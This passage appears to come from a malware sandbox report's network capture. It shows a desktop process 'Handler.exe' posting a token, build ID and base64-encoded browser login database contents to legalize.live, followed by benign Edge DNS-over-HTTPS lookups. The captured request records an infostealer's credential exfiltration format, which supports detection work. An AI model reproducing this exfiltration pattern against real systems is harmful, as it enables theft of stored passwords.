77 c9 57 62 8f 5b 75 cd 1a e5 55 bd 63 44 bd Data Ascii: @uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[uUcD
2025-01-15 19:16:34 UTC	1390	IN	Data Raw: 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 cd 7f 57 ce c3 98 bb 4c Data Ascii: VkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iGWL
2025-01-15 19:16:34 UTC	1390	IN	Data Raw: bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d 1a be f9 ed d4 c0 dd bf Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2025-01-15 19:16:34 UTC	1390	IN	Data Raw: 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e a7 e6 e3 76 c6 ba 83 30 Data Ascii: =+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>v0
2025-01-15 19:16:34 UTC	1390	IN	Data Raw: 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d 67 e0 5c b9 05 91 82 fa Data Ascii: K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']g\
2025-01-15 19:16:34 UTC	1390	IN	Data Raw: c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a f6 ea aa b3 5c b7 89 0f Data Ascii: fO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F\
2025-01-15 19:16:34 UTC	1390	IN	Data Raw: d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e 31 20 51 39 f9 af 05 8f Data Ascii: aW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN1 Q9
2025-01-15 19:16:34 UTC	1390	IN	Data Raw: 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 b5 56 54 75 9f c9 63 20 Data Ascii: QNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYyVTuc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49878	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:34 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----vsj5xtj5xbie37q1nopp User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 68733 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 76 73 6a 35 78 74 6a 35 78 62 69 65 33 37 71 31 6e 6f 70 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 76 73 6a 35 78 74 6a 35 78 62 69 65 33 37 71 31 6e 6f 70 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 76 73 6a 35 78 74 6a 35 78 62 69 65 33 37 71 31 6e 6f 70 70 0d 0a 43 6f 6e 74 Data Ascii: ------vsj5xtj5xbie37q1noppContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------vsj5xtj5xbie37q1noppContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------vsj5xtj5xbie37q1noppCont
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 4b 77 51 47 46 7a 38 5a 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpKwQGFz8ZAQBpbmRleHNxbGl0ZV9h
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:34 UTC	3313	OUT	Data Raw: 6b 5a 58 68 69 63 6d 56 68 59 32 68 6c 5a 42 52 44 55 6b 56 42 56 45 55 67 53 55 35 45 52 56 67 67 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 64 47 46 69 62 47 56 66 61 57 35 6b 5a 58 67 67 54 30 34 67 59 6e 4a 6c 59 57 4e 6f 5a 57 51 67 4b 48 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 55 70 4c 78 41 47 46 30 4d 64 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 64 58 52 76 61 57 35 6b 5a 58 68 66 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 4d 57 4a 79 5a 57 46 6a 61 47 56 6b 45 34 49 66 44 77 63 58 48 52 30 42 68 42 46 30 59 57 4a 73 5a 57 4a 79 5a 57 46 6a 61 47 56 6b 59 6e 4a 6c 59 57 4e 6f 5a 57 51 53 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 47 4a 79 5a 57 46 6a 61 47 56 6b 49 43 68 31 63 6d 77 67 56 6b 46 53 51 30 68 42 55 69 42 4f 54 31 Data Ascii: kZXhicmVhY2hlZBRDUkVBVEUgSU5ERVggYnJlYWNoZWRfdGFibGVfaW5kZXggT04gYnJlYWNoZWQgKHVybCwgdXNlcm5hbWUpLxAGF0MdAQBpbmRleHNxbGl0ZV9hdXRvaW5kZXhfYnJlYWNoZWRfMWJyZWFjaGVkE4IfDwcXHR0BhBF0YWJsZWJyZWFjaGVkYnJlYWNoZWQSQ1JFQVRFIFRBQkxFIGJyZWFjaGVkICh1cmwgVkFSQ0hBUiBOT1
2025-01-15 19:16:36 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:36 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49884	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 55 00 0c 00 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: assetsmsncom)UQ
2025-01-15 19:16:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283378bef8c3ee-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 0b 00 00 00 01 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 54 51 00 1c 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 07 65 64 67 65 6b 65 79 03 6e 65 74 00 c0 2c 00 05 00 01 00 00 03 75 00 16 06 65 32 38 35 37 38 01 64 0a 61 6b 61 6d 61 69 65 64 67 65 c0 43 c0 54 00 01 00 01 00 00 00 05 00 04 17 31 fb 1d c0 54 00 01 00 01 00 00 00 05 00 04 17 31 fb 1f c0 54 00 01 00 01 00 00 00 05 00 04 17 31 fb 21 c0 54 00 01 00 01 00 00 00 05 00 04 17 31 fb 18 c0 54 00 01 00 01 00 00 00 05 00 04 17 31 fb 14 c0 54 00 01 00 01 00 00 00 05 00 04 17 31 fb 07 c0 54 00 01 00 01 00 00 00 05 00 04 17 31 fb 1b c0 54 00 01 00 01 00 00 00 05 00 04 17 31 fb 08 c0 54 00 01 00 01 00 00 00 05 00 04 17 31 fb 16 00 00 29 04 d0 Data Ascii: assetsmsncomTQassetsmsncomedgekeynet,ue28578dakamaiedgeCT1T1T1!T1T1T1T1T1T1)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49883	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 55 00 0c 00 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: assetsmsncomA)UQ
2025-01-15 19:16:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283378c9a242f5-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 01 00 01 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 53 c4 00 1c 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 07 65 64 67 65 6b 65 79 03 6e 65 74 00 c0 2c 00 05 00 01 00 00 02 e8 00 16 06 65 32 38 35 37 38 01 64 0a 61 6b 61 6d 61 69 65 64 67 65 c0 43 c0 5b 00 06 00 01 00 00 03 4c 00 2e 03 6e 30 64 c0 5d 0a 68 6f 73 74 6d 61 73 74 65 72 06 61 6b 61 6d 61 69 c0 17 67 88 08 ed 00 00 03 e8 00 00 03 e8 00 00 03 e8 00 00 07 08 00 00 29 04 d0 00 00 00 00 01 25 00 0c 01 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: assetsmsncomASassetsmsncomedgekeynet,e28578dakamaiedgeC[L.n0d]hostmasterakamaig)%!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49885	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 6d 73 65 64 67 65 65 78 74 65 6e 73 69 6f 6e 73 02 73 66 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 2f 00 0c 00 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: msedgeextensionssftludldeliverympmicrosoftcom)/+
2025-01-15 19:16:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902833794bd8f797-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 06 00 00 00 01 10 6d 73 65 64 67 65 65 78 74 65 6e 73 69 6f 6e 73 02 73 66 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0c 50 00 34 04 73 74 61 72 02 73 66 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 08 64 65 6c 69 76 65 72 79 c0 33 c0 52 00 05 00 01 00 00 36 80 00 26 11 63 64 70 2d 66 2d 73 73 6c 2d 74 6c 75 2d 6e 65 74 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 92 00 05 00 01 00 00 01 2c 00 38 04 73 74 61 72 02 73 62 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 09 65 64 67 65 73 75 69 74 65 03 6e 65 74 00 c0 c4 00 Data Ascii: msedgeextensionssftludldeliverympmicrosoftcomP4starsftludldeliverympmicrosoftcomdelivery3R6&cdp-f-ssl-tlu-nettrafficmanagernet,8starsbtludldeliverympmicrosoftcomedgesuitenet

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49886	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 6d 73 65 64 67 65 65 78 74 65 6e 73 69 6f 6e 73 02 73 66 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 2f 00 0c 00 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: msedgeextensionssftludldeliverympmicrosoftcomA)/+
2025-01-15 19:16:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902833794bdcf797-EWR alt-svc: h3=":443"; ma=86400
